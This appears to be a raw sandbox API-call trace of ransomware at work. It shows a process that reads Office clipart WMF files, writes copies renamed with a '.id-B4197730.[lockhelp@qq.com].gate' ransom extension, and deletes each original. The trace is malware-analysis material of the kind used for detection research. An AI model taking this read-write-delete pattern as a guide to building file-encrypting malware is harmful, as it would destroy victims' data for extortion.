[0302.381] lstrlenW (lpString=".doc") returned 4 [0302.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.381] lstrlenW (lpString=".docx") returned 5 [0302.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.381] lstrlenW (lpString=".pdf") returned 4 [0302.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString=".xls") returned 4 [0302.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.382] lstrlenW (lpString=".xlsx") returned 5 [0302.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.382] lstrlenW (lpString=".ppt") returned 4 [0302.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.382] lstrlenW (lpString=".zip") returned 4 [0302.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.382] lstrlenW (lpString=".rar") returned 4 [0302.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString=".bz2") returned 4 [0302.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString=".7z") returned 3 [0302.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.382] lstrlenW (lpString=".dbf") returned 4 [0302.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.382] lstrlenW (lpString=".1cd") returned 4 [0302.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.382] lstrlenW (lpString=".jpg") returned 4 [0302.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.391] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2756) returned 1 [0302.391] CloseHandle (hObject=0x4f0) returned 1 [0302.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0302.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0302.392] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.392] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0302.393] GetLastError () returned 0x0 [0302.393] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xac4, lpOverlapped=0x0) returned 1 [0302.485] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xad0, lpOverlapped=0x0) returned 1 [0302.486] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.486] WriteFile (in: hFile=0x554, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.487] SetEndOfFile (hFile=0x554) returned 1 [0302.487] CloseHandle (hObject=0x554) returned 1 [0302.487] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.487] SetEndOfFile (hFile=0x4f0) returned 1 [0302.496] CloseHandle (hObject=0x4f0) returned 1 [0302.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0302.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.555] lstrlenW (lpString=".doc") returned 4 [0302.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.555] lstrlenW (lpString=".docx") returned 5 [0302.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.555] lstrlenW (lpString=".pdf") returned 4 [0302.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.555] lstrlenW (lpString=".xls") returned 4 [0302.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.555] lstrlenW (lpString=".xlsx") returned 5 [0302.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.555] lstrlenW (lpString=".ppt") returned 4 [0302.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.555] lstrlenW (lpString=".zip") returned 4 [0302.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.555] lstrlenW (lpString=".rar") returned 4 [0302.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.556] lstrlenW (lpString=".bz2") returned 4 [0302.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.556] lstrlenW (lpString=".7z") returned 3 [0302.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.556] lstrlenW (lpString=".dbf") returned 4 [0302.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.556] lstrlenW (lpString=".1cd") returned 4 [0302.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.556] lstrlenW (lpString=".jpg") returned 4 [0302.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.556] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6016) returned 1 [0302.556] CloseHandle (hObject=0x52c) returned 1 [0302.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0302.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0302.557] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.557] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0302.676] GetLastError () returned 0x0 [0302.676] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1780, lpOverlapped=0x0) returned 1 [0302.792] WriteFile (in: hFile=0x538, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1790, lpOverlapped=0x0) returned 1 [0302.793] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.793] WriteFile (in: hFile=0x538, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.793] SetEndOfFile (hFile=0x538) returned 1 [0302.793] CloseHandle (hObject=0x538) returned 1 [0302.794] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.794] SetEndOfFile (hFile=0x52c) returned 1 [0302.817] CloseHandle (hObject=0x52c) returned 1 [0302.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString=".doc") returned 4 [0302.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString=".docx") returned 5 [0302.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.819] lstrlenW (lpString=".pdf") returned 4 [0302.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString=".xls") returned 4 [0302.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.819] lstrlenW (lpString=".xlsx") returned 5 [0302.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.819] lstrlenW (lpString=".ppt") returned 4 [0302.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString=".zip") returned 4 [0302.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.819] lstrlenW (lpString=".rar") returned 4 [0302.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString=".bz2") returned 4 [0302.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString=".7z") returned 3 [0302.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString=".dbf") returned 4 [0302.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString=".1cd") returned 4 [0302.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0302.819] lstrlenW (lpString=".jpg") returned 4 [0302.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.820] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2616) returned 1 [0302.820] CloseHandle (hObject=0x52c) returned 1 [0302.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0302.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0302.821] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.821] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.822] GetLastError () returned 0x0 [0302.822] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xa38, lpOverlapped=0x0) returned 1 [0303.160] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xa40, lpOverlapped=0x0) returned 1 [0303.162] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.162] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.162] SetEndOfFile (hFile=0x4f4) returned 1 [0303.162] CloseHandle (hObject=0x4f4) returned 1 [0303.162] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.162] SetEndOfFile (hFile=0x52c) returned 1 [0303.174] CloseHandle (hObject=0x52c) returned 1 [0303.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0303.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.175] lstrlenW (lpString=".doc") returned 4 [0303.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString=".docx") returned 5 [0303.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.176] lstrlenW (lpString=".pdf") returned 4 [0303.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString=".xls") returned 4 [0303.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.176] lstrlenW (lpString=".xlsx") returned 5 [0303.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.176] lstrlenW (lpString=".ppt") returned 4 [0303.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.176] lstrlenW (lpString=".zip") returned 4 [0303.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.176] lstrlenW (lpString=".rar") returned 4 [0303.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString=".bz2") returned 4 [0303.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString=".7z") returned 3 [0303.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.176] lstrlenW (lpString=".dbf") returned 4 [0303.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.176] lstrlenW (lpString=".1cd") returned 4 [0303.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.177] lstrlenW (lpString=".jpg") returned 4 [0303.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.178] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1324) returned 1 [0303.178] CloseHandle (hObject=0x52c) returned 1 [0303.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0303.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0303.179] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.179] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0303.180] GetLastError () returned 0x0 [0303.180] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x52c, lpOverlapped=0x0) returned 1 [0303.252] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x530, lpOverlapped=0x0) returned 1 [0303.253] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.253] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.253] SetEndOfFile (hFile=0x4f8) returned 1 [0303.253] CloseHandle (hObject=0x4f8) returned 1 [0303.253] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.253] SetEndOfFile (hFile=0x52c) returned 1 [0303.366] CloseHandle (hObject=0x52c) returned 1 [0303.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0303.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.367] lstrlenW (lpString=".doc") returned 4 [0303.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.367] lstrlenW (lpString=".docx") returned 5 [0303.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.367] lstrlenW (lpString=".pdf") returned 4 [0303.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.367] lstrlenW (lpString=".xls") returned 4 [0303.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.367] lstrlenW (lpString=".xlsx") returned 5 [0303.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.367] lstrlenW (lpString=".ppt") returned 4 [0303.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.367] lstrlenW (lpString=".zip") returned 4 [0303.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.367] lstrlenW (lpString=".rar") returned 4 [0303.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.367] lstrlenW (lpString=".bz2") returned 4 [0303.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.367] lstrlenW (lpString=".7z") returned 3 [0303.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.368] lstrlenW (lpString=".dbf") returned 4 [0303.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.368] lstrlenW (lpString=".1cd") returned 4 [0303.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0303.368] lstrlenW (lpString=".jpg") returned 4 [0303.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.368] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22116) returned 1 [0303.368] CloseHandle (hObject=0x52c) returned 1 [0303.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0303.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft 